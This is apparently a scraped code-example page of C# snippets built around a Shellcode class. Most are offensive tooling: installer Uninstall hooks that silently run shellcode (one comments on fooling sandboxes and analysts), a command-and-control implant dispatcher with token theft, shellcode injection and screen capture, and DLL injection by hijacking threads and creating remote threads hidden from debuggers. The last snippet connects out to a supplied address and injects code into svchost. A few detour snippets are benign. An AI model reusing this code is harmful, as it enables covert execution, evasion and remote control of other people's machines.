Ejemplo n.º 1
0
        private void InitialiseDetour(MethodInfo originalFunctionInfo, MethodInfo targetFunctionInfo)
        {
            // Ensure the operating system is valid

            ValidateOperatingSystem.Validate();

            // Ensure the functions are JIT compiled

            RuntimeHelpers.PrepareMethod(originalFunctionInfo.MethodHandle);

            RuntimeHelpers.PrepareMethod(targetFunctionInfo.MethodHandle);

            // Get a pointer to the original function

            _originalFunctionAddress = originalFunctionInfo.MethodHandle.GetFunctionPointer();

            // Get a pointer to the target function

            var targetFunctionAddress = targetFunctionInfo.MethodHandle.GetFunctionPointer();

            // Create shellcode to perform a function detour

            var shellcode = Environment.Is64BitProcess ? Shellcode.JumpToFunctionX64(targetFunctionAddress) : Shellcode.JumpToFunctionX86(targetFunctionAddress);

            // Save the bytes of the original function

            _originalBytes = new byte[shellcode.Length];

            Marshal.Copy(_originalFunctionAddress, _originalBytes, 0, shellcode.Length);

            // Save the bytes used to detour the original function to the target function

            _detourBytes = shellcode;
        }
Ejemplo n.º 2
0
    //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Console.WriteLine("Hello There From Uninstall");
        uint a = Shellcode.Hunt();

        if (a > 0)
        {
            Console.WriteLine("Found Space\n");
            Shellcode.Exec(a);
        }
        else
        {
            Console.WriteLine("Created Space");
            Shellcode.Exec();
        }
    }
Ejemplo n.º 3
0
        private static bool SetThreadContextx64(IntPtr threadHandle, IntPtr processHandle, IntPtr dllMemoryPointer, IntPtr loadLibraryPointer, IntPtr shellcodeMemoryPointer, int shellcodeSize)
        {
            // Get the threads context

            var context = new Context64 {
                ContextFlags = Flags.ContextControl
            };

            if (!GetThreadContext(threadHandle, ref context))
            {
                return(false);
            }

            // Save the instruction pointer

            var instructionPointer = context.Rip;

            // Change the instruction pointer to the shellcode pointer

            context.Rip = (ulong)shellcodeMemoryPointer;

            // Write the shellcode into memory

            var shellcode = Shellcode.CallLoadLibraryx64(instructionPointer, dllMemoryPointer, loadLibraryPointer);

            if (!WriteProcessMemory(processHandle, shellcodeMemoryPointer, shellcode, (uint)shellcodeSize, 0))
            {
                return(false);
            }

            // Set the threads context

            if (!SetThreadContext(threadHandle, ref context))
            {
                return(false);
            }

            return(true);
        }
Ejemplo n.º 4
0
 //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
     Console.WriteLine("Hello There From Uninstall");
     Shellcode.Exec();
 }
Ejemplo n.º 5
0
 public static void Main()
 {
     Console.WriteLine("Hello From Main...I Don't Do Anything");
     //Add any behaviour here to throw off sandbox execution/analysts :)
     Shellcode.Exec();
 }
Ejemplo n.º 6
0
 //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
     Shellcode.Exec();
 }
Ejemplo n.º 7
0
        private void CallEntryPoint(IntPtr baseAddress, IntPtr entryPoint)
        {
            // Initialize shellcode to call the entry of the dll in the remote process

            var shellcodeBytes = _properties.IsWow64 ? Shellcode.CallDllMainx86(baseAddress, entryPoint) : Shellcode.CallDllMainx64(baseAddress, entryPoint);

            // Allocate memory for the shellcode in the remote process

            var shellcodeAddress = IntPtr.Zero;

            try
            {
                shellcodeAddress = _properties.MemoryModule.AllocateMemory(_properties.ProcessId, shellcodeBytes.Length);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the remote process");
            }

            // Write the shellcode into the memory of the remote process

            try
            {
                _properties.MemoryModule.WriteMemory(_properties.ProcessId, shellcodeAddress, shellcodeBytes);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the remote process");
            }

            // Create a remote thread to call the entry point in the remote process

            Native.NtCreateThreadEx(out var remoteThreadHandle, Native.AccessMask.SpecificRightsAll | Native.AccessMask.StandardRightsAll, IntPtr.Zero, _properties.ProcessHandle, shellcodeAddress, IntPtr.Zero, Native.CreationFlags.HideFromDebugger, 0, 0, 0, IntPtr.Zero);

            if (remoteThreadHandle is null)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to create a remote thread to call the entry point in the remote process");
            }

            // Wait for the remote thread to finish its task

            Native.WaitForSingleObject(remoteThreadHandle, int.MaxValue);

            // Free the memory previously allocated for the shellcode in the remote process

            try
            {
                _properties.MemoryModule.FreeMemory(_properties.ProcessId, shellcodeAddress);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the remote process");
            }

            // Close the handle opened to the remote thread

            remoteThreadHandle?.Close();
        }
Ejemplo n.º 8
0
        private void CallEntryPoint(IntPtr baseAddress, IntPtr entryPoint)
        {
            // Get the id of the process

            var processId = _process.Id;

            // Open a handle to the process

            var processHandle = _process.SafeHandle;

            // Determine if the process is running under WOW64

            Native.IsWow64Process(processHandle, out var isWow64);

            // Create shellcode to call the entry of the dll in the process

            var shellcodeBytes = isWow64 ? Shellcode.CallDllMainx86(baseAddress, entryPoint) : Shellcode.CallDllMainx64(baseAddress, entryPoint);

            // Allocate memory for the shellcode in the process

            var shellcodeSize = shellcodeBytes.Length;

            var shellcodeAddress = IntPtr.Zero;

            try
            {
                shellcodeAddress = _memoryModule.AllocateMemory(processId, shellcodeSize);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the process");
            }

            // Write the shellcode into the memory of the process

            try
            {
                _memoryModule.WriteMemory(processId, shellcodeAddress, shellcodeBytes);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process");
            }

            // Create a remote thread to call the entry point in the process

            Native.RtlCreateUserThread(processHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, shellcodeAddress, IntPtr.Zero, out var remoteThreadHandle, 0);

            if (remoteThreadHandle is null)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to create a remote thread to call the entry point in the process");
            }

            // Wait for the remote thread to finish its task

            Native.WaitForSingleObject(remoteThreadHandle, int.MaxValue);

            // Free the memory previously allocated for the shellcode

            try
            {
                _memoryModule.FreeMemory(processId, shellcodeAddress);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the process");
            }

            // Close the handle opened to the process

            processHandle?.Close();

            // Close the handle opened to the remote thread

            remoteThreadHandle?.Close();
        }
Ejemplo n.º 9
0
 //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
     Shellcode.Exec(Context.Parameters["server"]);
 }
Ejemplo n.º 10
0
        /// <summary>
        /// Handle a new task.
        /// </summary>
        /// <param name="implant">The CaramelImplant we're handling a task for</param>
        public void DispatchTask(SCImplant implant)
        {
            if (this.command == "cd")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to change directory " + this.@params);
                ChangeDir.Execute(this);
            }
            else if (this.command == "download")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to send file " + this.@params);
                Download.Execute(this, implant);
            }
            else if (this.command == "execute_assembly")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to execute assembly " + this.@params);
                Tasks.ExecAssembly.Execute(this, implant);
            }
            else if (this.command == "exit")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to exit");
                Exit.Execute(this, implant);
            }
            else if (this.command == "jobs")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to list jobs");
                Jobs.Execute(this, implant);
            }
            else if (this.command == "jobkill")
            {
                Debug.WriteLine($"[-] DispatchTask - Tasked to kill job {this.@params}");
                Jobs.Execute(this, implant);
            }
            else if (this.command == "kill")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to kill PID " + this.@params);
                Kill.Execute(this);
            }
            else if (this.command == "ls")
            {
                string path = this.@params;
                Debug.WriteLine("[-] DispatchTask - Tasked to list directory " + path);
                DirectoryList.Execute(this, implant);
            }
            else if (this.command == "make_token")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to make a token for " + [email protected](' ')[0]);
                Token.Execute(this);
            }
            else if (this.command == "ps")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to list processes");
                ProcessList.Execute(this);
            }
            else if (this.command == "powershell")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run powershell");
                Powershell.Execute(this);
            }
            else if (this.command == "rev2self")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to revert token");
                Token.Revert(this);
            }
            else if (this.command == "run")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to start process");
                Proc.Execute(this, implant);
            }
            else if (this.command == "screencapture")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to take screenshot.");
                ScreenCapture.Execute(this, implant);
            }
            else if (this.command == "shell")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run shell command.");
                Proc.Execute(this, implant);
            }
            else if (this.command == "shinject")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to run shellcode.");
                Shellcode.Execute(this);
            }
            else if (this.command == "sleep")
            {
                try
                {
                    int sleep = Convert.ToInt32(this.@params);
                    Debug.WriteLine("[-] DispatchTask - Tasked to change sleep to: " + sleep);
                    implant.sleep = sleep * 1000;
                    this.status   = "complete";
                }
                catch
                {
                    Debug.WriteLine("[-] DispatchTask - ERROR sleep value provided was not int");
                    this.status  = "error";
                    this.message = "Please provide an integer value";
                }
            }
            else if (this.command == "spawn")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to spawn");
                Spawn.Execute(this);
            }
            else if (this.command == "steal_token")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to steal token");
                Token.Execute(this);
            }
            else if (this.command == "upload")
            {
                Debug.WriteLine("[-] DispatchTask - Tasked to get file from server");
                Upload.Execute(this, implant);
            }

            this.SendResult(implant);
        }
Ejemplo n.º 11
0
        internal bool Inject()
        {
            // Get the address of the LoadLibraryW method from kernel32.dll

            var loadLibraryAddress = Tools.GetRemoteProcAddress(_properties, "kernel32.dll", "LoadLibraryW");

            if (loadLibraryAddress == IntPtr.Zero)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to find the address of the LoadLibraryW method in kernel32.dll");
            }

            // Allocate memory for the dll path in the process

            var dllPathAddress = IntPtr.Zero;

            try
            {
                dllPathAddress = _properties.MemoryModule.AllocateMemory(_properties.ProcessId, _properties.DllPath.Length);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the dll path in the process");
            }

            // Write the dll path into the process

            var dllPathBytes = Encoding.Unicode.GetBytes(_properties.DllPath + "\0");

            try
            {
                _properties.MemoryModule.WriteMemory(_properties.ProcessId, dllPathAddress, dllPathBytes);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to write the dll path into the memory of the process");
            }

            // Allocate memory for the shellcode in the process

            var shellcodeSize = _properties.IsWow64 ? 22 : 87;

            var shellcodeAddress = IntPtr.Zero;

            try
            {
                shellcodeAddress = _properties.MemoryModule.AllocateMemory(_properties.ProcessId, shellcodeSize);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the process");
            }

            // Open a handle to the first thread of the process

            var threadHandle = Native.OpenThread(Native.ThreadAccess.AllAccess, false, _firstThreadId);

            if (threadHandle is null)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to open a handle to a thread in the process");
            }

            // Suspend the thread

            if (Native.SuspendThread(threadHandle) == -1)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to suspend a thread in the process");
            }

            // If the process is x86

            if (_properties.IsWow64)
            {
                var threadContext = new Native.Wow64Context {
                    Flags = Native.ContextFlags.ContextControl
                };

                // Store the thread context structure in a buffer

                var threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Get the context of the thread and save it in the buffer

                if (!Native.Wow64GetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to get the context of a thread in the process");
                }

                // Read the new thread context structure from the buffer

                threadContext = Tools.PointerToStructure <Native.Wow64Context>(threadContextBuffer);

                // Save the instruction pointer

                var instructionPointer = threadContext.Eip;

                // Write the shellcode into the memory of the process

                var shellcodeBytes = Shellcode.CallLoadLibraryx86((IntPtr)instructionPointer, dllPathAddress, loadLibraryAddress);

                try
                {
                    _properties.MemoryModule.WriteMemory(_properties.ProcessId, shellcodeAddress, shellcodeBytes);
                }

                catch (Win32Exception)
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process");
                }

                // Change the instruction pointer to the shellcode address

                threadContext.Eip = (uint)shellcodeAddress;

                // Store the thread context structure in a buffer

                threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Set the context of the thread with the new context

                if (!Native.Wow64SetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to set the context of a thread in the process");
                }
            }

            // If the process is x64

            else
            {
                var threadContext = new Native.Context {
                    Flags = Native.ContextFlags.ContextControl
                };

                // Store the thread context structure in a buffer

                var threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Get the context of the thread and save it in the buffer

                if (!Native.GetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to get the context of a thread in the process");
                }

                // Read the new thread context structure from the buffer

                threadContext = Tools.PointerToStructure <Native.Context>(threadContextBuffer);

                // Save the instruction pointer

                var instructionPointer = threadContext.Rip;

                // Write the shellcode into the memory of the process

                var shellcodeBytes = Shellcode.CallLoadLibraryx64((IntPtr)instructionPointer, dllPathAddress, loadLibraryAddress);

                try
                {
                    _properties.MemoryModule.WriteMemory(_properties.ProcessId, shellcodeAddress, shellcodeBytes);
                }

                catch (Win32Exception)
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process");
                }

                // Change the instruction pointer to the shellcode address

                threadContext.Rip = (ulong)shellcodeAddress;

                // Store the thread context structure in a buffer

                threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Set the context of the thread with the new context

                if (!Native.SetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to set the context of a thread in the process");
                }
            }

            // Resume the suspended thread

            if (Native.ResumeThread(threadHandle) == -1)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to resume a thread in the process");
            }

            // Switch to the process to load the dll

            Native.SwitchToThisWindow(_mainWindowHandle, true);

            // Buffer the execution by 10 milliseconds to avoid freeing memory before it has been referenced

            Thread.Sleep(10);

            // Free the memory previously allocated for the dll path

            try
            {
                _properties.MemoryModule.FreeMemory(_properties.ProcessId, dllPathAddress);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the dll path in the process");
            }

            // Free the memory previously allocated for the shellcode

            try
            {
                _properties.MemoryModule.FreeMemory(_properties.ProcessId, shellcodeAddress);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the process");
            }

            threadHandle?.Close();

            return(true);
        }
Ejemplo n.º 12
0
        internal bool Inject(Process process, string dllPath)
        {
            // Ensure the process has kernel32.dll loaded

            if (Native.LoadLibrary("kernel32.dll") is null)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to load kernel32.dll into the process");
            }

            // Get the id of the process

            var processId = process.Id;

            // Get the address of the LoadLibraryW method from kernel32.dll

            var loadLibraryAddress = Native.GetProcAddress(Native.GetModuleHandle("kernel32.dll"), "LoadLibraryW");

            if (loadLibraryAddress == IntPtr.Zero)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to find the address of the LoadLibraryW method in kernel32.dll");
            }

            // Allocate memory for the dll path in the process

            var dllPathSize = dllPath.Length;

            var dllPathAddress = IntPtr.Zero;

            try
            {
                dllPathAddress = _memoryModule.AllocateMemory(processId, dllPathSize);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the dll path in the process");
            }

            // Write the dll path into the process

            var dllPathBytes = Encoding.Unicode.GetBytes(dllPath + "\0");

            try
            {
                _memoryModule.WriteMemory(processId, dllPathAddress, dllPathBytes);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to write the dll path into the memory of the process");
            }

            // Open a handle to the process

            var processHandle = process.SafeHandle;

            // Determine if the process is running under WOW64

            Native.IsWow64Process(processHandle, out var isWow64);

            // Allocate memory for the shellcode in the process

            var shellcodeSize = isWow64 ? 22 : 87;

            var shellcodeAddress = IntPtr.Zero;

            try
            {
                shellcodeAddress = _memoryModule.AllocateMemory(processId, shellcodeSize);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the process");
            }

            // Get the id of the first thread in the process

            var threadId = process.Threads[0].Id;

            // Open a handle to the thread

            var threadHandle = Native.OpenThread(Native.ThreadAccess.AllAccess, false, threadId);

            if (threadHandle is null)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to open a handle to the first thread in the process");
            }

            // Suspend the thread

            if (Native.SuspendThread(threadHandle) == -1)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to suspend the first thread in the process");
            }

            // If the process is x86

            if (isWow64)
            {
                var threadContext = new Native.Context {
                    Flags = Native.ContextFlags.ContextControl
                };

                // Store the thread context structure in a buffer

                var threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Get the context of the thread and save it in the buffer

                if (!Native.GetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to get the context of the first thread in the process");
                }

                // Read the new thread context structure from the buffer

                threadContext = Tools.PointerToStructure <Native.Context>(threadContextBuffer);

                // Save the instruction pointer

                var instructionPointer = threadContext.Eip;

                // Write the shellcode into the memory of the process

                var shellcodeBytes = Shellcode.CallLoadLibraryx86(instructionPointer, dllPathAddress, loadLibraryAddress);

                try
                {
                    _memoryModule.WriteMemory(processId, shellcodeAddress, shellcodeBytes);
                }

                catch (Win32Exception)
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process");
                }

                // Change the instruction pointer to the shellcode address

                threadContext.Eip = shellcodeAddress;

                // Store the thread context structure in a buffer

                threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Set the context of the thread with the new context

                if (!Native.SetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to set the context of the first thread in the process");
                }
            }

            // If the process is x64

            else
            {
                var threadContext = new Native.Context64 {
                    Flags = Native.ContextFlags.ContextControl
                };

                // Store the thread context structure in a buffer

                var threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Get the context of the thread and save it in the buffer

                if (!Native.GetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to get the context of the first thread in the process");
                }

                // Read the new thread context structure from the buffer

                threadContext = Tools.PointerToStructure <Native.Context64>(threadContextBuffer);

                // Save the instruction pointer

                var instructionPointer = threadContext.Rip;

                // Write the shellcode into the memory of the process

                var shellcodeBytes = Shellcode.CallLoadLibraryx64(instructionPointer, dllPathAddress, loadLibraryAddress);

                try
                {
                    _memoryModule.WriteMemory(processId, shellcodeAddress, shellcodeBytes);
                }

                catch (Win32Exception)
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process");
                }

                // Change the instruction pointer to the shellcode address

                threadContext.Rip = shellcodeAddress;

                // Store the thread context structure in a buffer

                threadContextBuffer = Tools.StructureToPointer(threadContext);

                // Set the context of the thread with the new context

                if (!Native.SetThreadContext(threadHandle, threadContextBuffer))
                {
                    ExceptionHandler.ThrowWin32Exception("Failed to set the context of the first thread in the process");
                }
            }

            // Resume the suspended thread

            if (Native.ResumeThread(threadHandle) == -1)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to resume the first thread in the process");
            }

            // Open a handle to the main window of the process

            var windowHandle = new SafeWindowHandle(process.MainWindowHandle);

            // Switch to the process to load the dll

            Native.SwitchToThisWindow(windowHandle, true);

            // Buffer the execution by 10 milliseconds to avoid freeing memory before it has been referenced

            Tools.AsyncWait(10);

            // Free the memory previously allocated for the dll path

            try
            {
                _memoryModule.FreeMemory(processId, dllPathAddress);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the dll path in the process");
            }

            // Free the memory previously allocated for the shellcode

            try
            {
                _memoryModule.FreeMemory(processId, shellcodeAddress);
            }

            catch (Win32Exception)
            {
                ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the process");
            }

            // Close the handle opened to the process

            processHandle?.Close();

            // Close the handle opened to the thread

            threadHandle?.Close();

            return(true);
        }
Ejemplo n.º 13
0
        static void Main(string[] args)
        {
            bool success;
            bool isX64 = Environment.Is64BitOperatingSystem;

            if (!isX64)
            {
                Console.WriteLine("32-bit operating systems are not supported yet");
                return;
            }

            if (isX64 && IntPtr.Size != 8)
            {
                Console.WriteLine("Please run in x64 mode");
                return;
            }

            const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
            IntPtr     tokenHandle;

            success = OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES, out tokenHandle);
            if (!success)
            {
                Console.WriteLine("OpenProcessToken() failed - " + Marshal.GetLastWin32Error());
                return;
            }
            success = SetPrivilege(tokenHandle, "SeDebugPrivilege", true);
            CloseHandle(tokenHandle);
            if (!success)
            {
                Console.WriteLine("SetPrivilege() failed - " + Marshal.GetLastWin32Error());
                return;
            }


            const int bufferlen = 4096;
            UIntPtr   buflen    = new UIntPtr(bufferlen);
            int       err;

            ushort  wsaVersion = 0x0202;
            WSAData wsaData;

            err = WSAStartup(wsaVersion, out wsaData);
            if (err != 0)
            {
                Console.WriteLine("WSAStartup() failed - " + err);
                return;
            }

            IntPtr tcpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

            if (tcpSocket == SOCKET_ERROR)
            {
                Console.WriteLine("socket() failed - " + WSAGetLastError());
                return;
            }

#if !DEBUG || true
            int timeout = 10000;
            setsockopt(tcpSocket, SOL_SOCKET, SO_RCVTIMEO, ref timeout, sizeof(int));
            setsockopt(tcpSocket, SOL_SOCKET, SO_SNDTIMEO, ref timeout, sizeof(int));
#endif

            string targetProcessName;
            string targetModuleName;
            if (args.Length > 1)
            {
                targetProcessName = args[1];
                if (args.Length > 2)
                {
                    targetModuleName = args[2].ToLower();
                }
                else
                {
                    targetModuleName = "ws2_32.dll";//null;
                }
            }
            else
            {
                targetProcessName = "svchost";
                targetModuleName  = "pcasvc.dll";
            }



            uint ipAddress;

            do
            {
                if (args.Length > 0)
                {
                    IPAddress ipAddr;
                    if (IPAddress.TryParse(args[0], out ipAddr))
                    {
                        byte[] ipBytes = ipAddr.GetAddressBytes();
                        if (ipBytes.Length == 4)
                        {
                            ipAddress = BitConverter.ToUInt32(ipBytes, 0);
                            break;
                        }
                    }
                }

                ipAddress = 0x100007F; //BitConverter.ToUInt32(new byte[] { 127,0,0,1 }, 0)
            } while (false);


            sockaddr_in connectionData = new sockaddr_in();
            connectionData.sin_family = AF_INET;
            connectionData.sin_addr   = ipAddress;
            connectionData.sin_port   = BitConverter.ToUInt16(new byte[] { 0xD1, 0xCC }, 0);


            err = connect(tcpSocket, ref connectionData, Marshal.SizeOf(connectionData));
            if (err != 0)
            {
                Console.WriteLine("connect() failed - " + WSAGetLastError());
                //closesocket(udpSocket);
                //WSACleanup();
                return;
            }

            uint targetProcessId = 0;

#if DEBUG && false
            targetProcessId = (uint)Process.GetProcessesByName("putty")[0].Id;
#else
            //if (targetModuleName != null)
            //{

            Process[] svchosts = Process.GetProcessesByName(targetProcessName);
            if (svchosts.Length == 0)
            {
                Console.WriteLine("No processes found");
                return;
            }

            foreach (Process process in svchosts)
            {
                bool found = false;

                try
                {
                    foreach (ProcessModule module in process.Modules)
                    {
                        if (module.ModuleName.ToLower() == /*"pcasvc.dll"*/ targetModuleName)
                        {
                            targetProcessId = (uint)process.Id;
                            found           = true;
                            break;
                        }
                    }
                }
                catch { continue; }

                if (found)
                {
                    break;
                }
            }


            //}
            //else
            //{
            //    Process[] processes = Process.GetProcessesByName(targetProcessName);
            //    if (processes.Length != 0)
            //        targetProcessId = (uint)processes[0].Id;
            //}
#endif


            if (targetProcessId == 0)
            {
                Console.WriteLine("No suitable process found");
                return;
            }

            IntPtr processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, false, targetProcessId);
            if (processHandle == IntPtr.Zero)
            {
                Console.WriteLine("OpenProcess() failed - " + Marshal.GetLastWin32Error());
                return;
            }


            //IntPtr memoryAddress = VirtualAllocEx(processHandle, IntPtr.Zero, buflen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            //if (memoryAddress == IntPtr.Zero)
            //{
            //    Console.WriteLine("VirtualAllocEx() failed");
            //    return;
            //}


            //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, new UIntPtr(8192), IntPtr.Zero, IntPtr.Zero, CREATE_SUSPENDED, IntPtr.Zero);
            //if (threadHandle == IntPtr.Zero)
            //{
            //    Console.WriteLine("CreateRemoteThread() failed");
            //    return;
            //}

            IntPtr threadHandle;
            //NtCreateThreadExBuffer ntCreateThreadExBuffer = new NtCreateThreadExBuffer();
            //IntPtr temp = Marshal.AllocHGlobal(8);

            //ntCreateThreadExBuffer.Size = (uint)Marshal.SizeOf(ntCreateThreadExBuffer);
            //ntCreateThreadExBuffer.Unknown1 = 0x10003;
            //ntCreateThreadExBuffer.Unknown2 = 8;
            //ntCreateThreadExBuffer.Unknown3 = temp + 4;
            //ntCreateThreadExBuffer.Unknown4 = 0;
            //ntCreateThreadExBuffer.Unknown5 = 0x10004;
            //ntCreateThreadExBuffer.Unknown6 = 4;
            //ntCreateThreadExBuffer.Unknown7 = temp;
            //ntCreateThreadExBuffer.Unknown8 = 0;

            int ntstatus = NtCreateThreadEx(out threadHandle, THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME, IntPtr.Zero, processHandle, IntPtr.Zero, IntPtr.Zero, true, 0, 8192, 0, /*ref ntCreateThreadExBuffer*/ IntPtr.Zero);
            if (ntstatus < 0)
            {
                Console.WriteLine("NtCreateThreadEx() failed - " + ntstatus);
                return;
            }


            THREAD_BASIC_INFORMATION threadInfo;
            ntstatus = NtQueryInformationThread(threadHandle, 0, out threadInfo, 8 + IntPtr.Size * 5, IntPtr.Zero);
            if (ntstatus < 0)
            {
                Console.WriteLine("NtQueryInformationThread() failed - " + ntstatus);
                return;
            }


            byte[] buffer = new byte[IntPtr.Size];
            success = ReadProcessMemory(processHandle, threadInfo.TebBaseAdress + (IntPtr.Size * 1), buffer, IntPtr.Size, IntPtr.Zero);
            if (!success)
            {
                Console.WriteLine("ReadProcessMemory() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            IntPtr memoryAddress;

            if (isX64)
            {
                long stackBottom = BitConverter.ToInt64(buffer, 0);
                memoryAddress = new IntPtr(stackBottom - bufferlen);
            }
            else
            {
                int stackBottom = BitConverter.ToInt32(buffer, 0);
                memoryAddress = new IntPtr(stackBottom - bufferlen);
            }


            uint oldProtection;
            success = VirtualProtectEx(processHandle, memoryAddress, /*buflen*/ new UIntPtr(4096), PAGE_EXECUTE_READWRITE, out oldProtection);
            if (!success)
            {
                Console.WriteLine("VirtualProtectEx() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            WSAPROTOCOL_INFO socketData;
            err = WSADuplicateSocket(tcpSocket, targetProcessId, out socketData);
            if (err != 0)
            {
                Console.WriteLine("WSADuplicateSocket() failed - " + WSAGetLastError());
                return;
            }

            IntPtr k32Handle = GetModuleHandle("kernel32.dll");
            if (k32Handle == IntPtr.Zero)
            {
                Console.WriteLine("GetModuleHandle() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            int    shellcodeBufferSize = bufferlen;
            IntPtr shellcodeBuffer     = Marshal.AllocHGlobal(shellcodeBufferSize);

            IntPtr getProcAddress   = GetProcAddress(k32Handle, "GetProcAddress");
            IntPtr getModuleHandleA = GetProcAddress(k32Handle, "GetModuleHandleA");
            IntPtr exitThread       = GetProcAddress(k32Handle, "ExitThread");
            //IntPtr setUnhandledExceptionFilter = GetProcAddress(k32Handle, "SetUnhandledExceptionFilter");
            IntPtr addVectoredExceptionHandler = GetProcAddress(k32Handle, "AddVectoredExceptionHandler");
            if (getProcAddress == IntPtr.Zero || getModuleHandleA == IntPtr.Zero || exitThread == IntPtr.Zero || addVectoredExceptionHandler == IntPtr.Zero)
            {
                Console.WriteLine("GetProcAddress() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            Shellcode     shellcode;
            ShellcodeType shellcodeType;

            if (isX64)
            {
                FakeObject ws2A, wsasockA, sockData, recv;
                shellcodeType = ShellcodeType.Win64;
                shellcode     = new Shellcode64(shellcodeBuffer, shellcodeBufferSize, memoryAddress)

                                .DebugBreak()
                                .SetEntryPoint()

                                //.AlignStack()
                                .FakePushBytes(32)
#if !DEBUG || true
                                /*.MovInt64RegisterC(exitThread)
                                 * .CallFar(setUnhandledExceptionFilter)*/
                                .MovInt64RegisterC(1)
                                .MovInt64RegisterD(exitThread)
                                .CallFar(addVectoredExceptionHandler)

                                /*.PushInt64(exitThread)
                                 * .PushInt64(0)
                                 * .MovRegisterSPtoGSOffset(0)*/
#endif

                                .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A)
